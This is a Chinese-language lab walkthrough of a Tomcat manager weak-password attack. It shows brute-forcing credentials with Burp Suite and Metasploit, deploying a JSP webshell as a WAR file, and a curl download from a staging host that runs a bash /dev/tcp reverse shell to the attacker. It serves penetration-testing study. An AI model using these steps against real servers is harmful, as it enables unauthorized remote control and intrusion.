Tomcat弱口令复现及利用


Posted in Servers onMay 06, 2022

漏洞描述

Tomcat有一个管理后台,其用户名和密码在Tomcat安装目录下的conf\tomcat-users.xml文件中配置,不少管理员为了方便,经常采用弱口令。Tomcat 支持在后台部署 war 文件,可以直接将 webshell 部署到 web 目录下。其中,欲访问后台,需要对应用户有相应权限。
Tomcat7+ 权限分为:
manager(后台管理)

manager-gui 拥有html页面权限
manager-status 拥有查看status的权限
manager-script 拥有text接口的权限,和status权限
manager-jmx 拥有jmx权限,和status权限
host-manager(虚拟主机管理)

admin-gui 拥有html页面权限
admin-script 拥有text接口权限
二、漏洞影响
Tomcat <= 6.0.0 默认用户名为admin,密码为空,无暴力破解限制。
Tomcat >= 6.0.0 无默认用户,五次失败后,账户即被锁定。
但是正常安装的情况下,tomcat8 中默认没有任何用户,且 Manager 页面只允许本地 IP 访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。

复现

环境

一台攻击机(kali-2021)192.168.141.190
受害机(vulhub搭建的)192.168.141.194
一台用来下载反弹shell脚本的服务器(内网,如果有服务器更好)192.168.141.128(利用时让受害主机下载shell文件实现反弹shell)

攻击流程

按照前人经验可以使用burpsuite进行爆破或者使用msf进行爆破
首先是根据burpsuite进行爆破:
抓取请求数据包可以看到

Tomcat弱口令复现及利用

=其中没有看到熟悉的账号密码,但是其中’Authorization: Basic dG9tY2F0OnRvbWNhdA=='将其中的base64字符串解密可以看到结果格式为"tomcat:tomcat"所以将请求包送至爆破模块,构造格式为x:x的payload

Tomcat弱口令复现及利用

Tomcat弱口令复现及利用

Tomcat弱口令复现及利用

Tomcat弱口令复现及利用

结果中的200即为成功,但是前面说明了tomcat8或有防爆破机制,当一个用户名登录超过五次就会锁定账户,网上有说要用"tomcat暴破图形化—绕过tomcat 6/7/8的防暴破机制"这个脚本来绕过但是作者没有找到免费的,就不测试了.
其次使用过msf进行爆破

Tomcat弱口令复现及利用

msf中找到上面的模块配置出options的rhosts和rport就可以进行爆破(run)了

Tomcat弱口令复现及利用

可以看到用户名和密码在都是tomcat的时候爆破成功,而且可以看到msf应该是自带了绕过防爆破脚本,而且可以通过自定义user和password文件进行测试,所以作者更推荐使用msf爆破方式

利用

msf利用

这里强调一下,在作者复现网上说的使用exploit/multi/http/tomcat_mgr_deploy但是在配置好rhoss和rport进行run的时候出现无法拿到shell问题

Tomcat弱口令复现及利用

所以作者使用了exploit/multi/http/tomcat_mgr_upload进行利用配置同deploy,配置httpusername,httppassword,rhosts.rport 然后运行拿到shell

Tomcat弱口令复现及利用

反弹shell利用

整体思路:首先在网页端登录进管理后台上传jsp后门文件,然后访问这个jsp后门即可,虽然上传之后就可以通过shell软件控制,但是为了复习反弹shell的过程,作者将进一步通过上传的jsp一句话木马(也可以上传大马)进行反弹shell.

首先将一句话shelloneword.jsp(一句话木马文件)通过命令,jar cvf shelloneword.war shelloneword.jsp 执行成功后在管理后台找到如下然后上传

Tomcat弱口令复现及利用

Tomcat弱口令复现及利用

成功之后可以在这看到结果

之后通过各种软件访问http://192.168.141.194:8080/shelloneword/shelloneword.jsp?i= xxxx就行了

但是作者的方式是通过让受害主机访问服务器主机下载shell文件,进行反弹shell,所以前面只是中间过程,首先让受害主机执行i=curl -o /shell.sh http://192.168.141.128/shell.txt 其中shell.txt文件内容为

bash -i >& /dev/tcp/192.168.141.190/7777 0>&1

将ip和端口改为自己的,然后打开nc 监听7777端口,访问http://192.168.141.194:8080/shelloneword/shelloneword.jsp?i=bash /shell.sh

Tomcat弱口令复现及利用

反弹shell成功

参考文章

[1] https://blog.csdn.net/qq_33020901/article/details/98357659
[2] https://blog.csdn.net/weixin_44037296/article/details/116376114
[3] https://blog.csdn.net/qq_43665434/article/details/116903953
[4] https://www.cnblogs.com/henry666/p/14379888.html
[5]https://www.cnblogs.com/qianxinggz/p/13440366.html
[6]https://blog.csdn.net/weixin_42432317/article/details/90208213

到此这篇关于Tomcat弱口令复现及利用的文章就介绍到这了!


Tags in this post...

Servers 相关文章推荐
Nginx访问日志及错误日志参数说明
Mar 31 Servers
Nginx配置Https安全认证的实现
May 26 Servers
解决使用了nginx获取IP地址都是127.0.0.1 的问题
Sep 25 Servers
HDFS免重启挂载新磁盘
Apr 06 Servers
docker-compose部署Yapi的方法
Apr 08 Servers
CentOS安装Nginx并部署vue
Apr 12 Servers
Ubuntu Server 安装Tomcat并配置systemctl
Apr 28 Servers
Nginx 配置 HTTPS的详细过程
May 30 Servers
利用Apache Common将java对象池化的问题
Jun 16 Servers
详解apache编译安装httpd-2.4.54及三种风格的init程序特点和区别
Jul 15 Servers
彻底卸载VMware虚拟机的超详细步骤记录
Jul 15 Servers
Nginx使用ngx_http_upstream_module实现负载均衡功能示例
Aug 05 Servers
Vscode中SSH插件如何远程连接Linux
nginx配置限速限流基于内置模块
May 02 #Servers
Nginx配置之禁止指定IP访问
centos7安装mysql5.7经验记录
May 02 #Servers
使用 Docker Compose 构建复杂的多容器App
Apr 30 #Servers
搭建Yolov5服务器
KVM基础命令详解
Apr 30 #Servers
You might like
日本十大最佳动漫,全都是二次元的神级作品
2019/10/05 日漫
PHPShop存在多个安全漏洞
2006/10/09 PHP
mysql5写入和读出乱码解决
2006/11/25 PHP
关于PHP内存溢出问题的解决方法
2013/06/25 PHP
PHP图片处理之图片旋转和图片翻转实例
2014/11/19 PHP
PHP在弹框中获取foreach中遍历的id值并传递给地址栏
2017/06/13 PHP
微信公众平台开发教程⑥ 微信开发集成类的使用图文详解
2019/04/10 PHP
基于jquery跨浏览器显示的file上传控件
2011/10/24 Javascript
JavaScript判断DOM何时加载完毕的技巧
2012/11/11 Javascript
jquery实现图片翻页效果
2013/12/23 Javascript
jQuery中next()方法用法实例
2015/01/07 Javascript
JS实现让网页背景图片斜向移动的方法
2015/02/25 Javascript
jquery实现红色竖向多级向右展开的导航菜单效果
2015/08/31 Javascript
JS实现合并两个数组并去除重复项只留一个的方法
2015/12/17 Javascript
JS组件系列之Bootstrap table表格组件神器【终结篇】
2016/05/10 Javascript
prototype.js常用函数详解
2016/06/18 Javascript
AngularJS表达式讲解及示例代码
2016/08/16 Javascript
利用JQuery直接调用asp.net后台的简单方法
2016/10/27 Javascript
JavaScript函数基础详解
2017/02/03 Javascript
w3c编程挑战_初级脚本算法实战篇
2017/06/23 Javascript
react-navigation之动态修改title的内容
2018/09/26 Javascript
VUE接入腾讯验证码功能(滑块验证)备忘
2019/05/07 Javascript
Vue数据双向绑定原理实例解析
2020/05/15 Javascript
举例讲解Python中的算数运算符的用法
2015/05/13 Python
Python selenium 父子、兄弟、相邻节点定位方式详解
2016/09/15 Python
python如何通过twisted实现数据库异步插入
2018/03/20 Python
Matplotlib 生成不同大小的subplots实例
2018/05/25 Python
已安装tensorflow-gpu,但keras无法使用GPU加速的解决
2020/02/07 Python
Keras中 ImageDataGenerator函数的参数用法
2020/07/03 Python
如何使用Django Admin管理后台导入CSV
2020/11/06 Python
Trip.com澳大利亚:在线旅行社
2019/12/01 全球购物
自荐信不宜过于夸大
2013/11/06 职场文书
图书馆标语
2014/06/19 职场文书
暑期政治学习心得体会
2014/09/02 职场文书
教师创先争优承诺书
2015/04/27 职场文书
详解Go语言中Get/Post请求测试
2022/06/01 Golang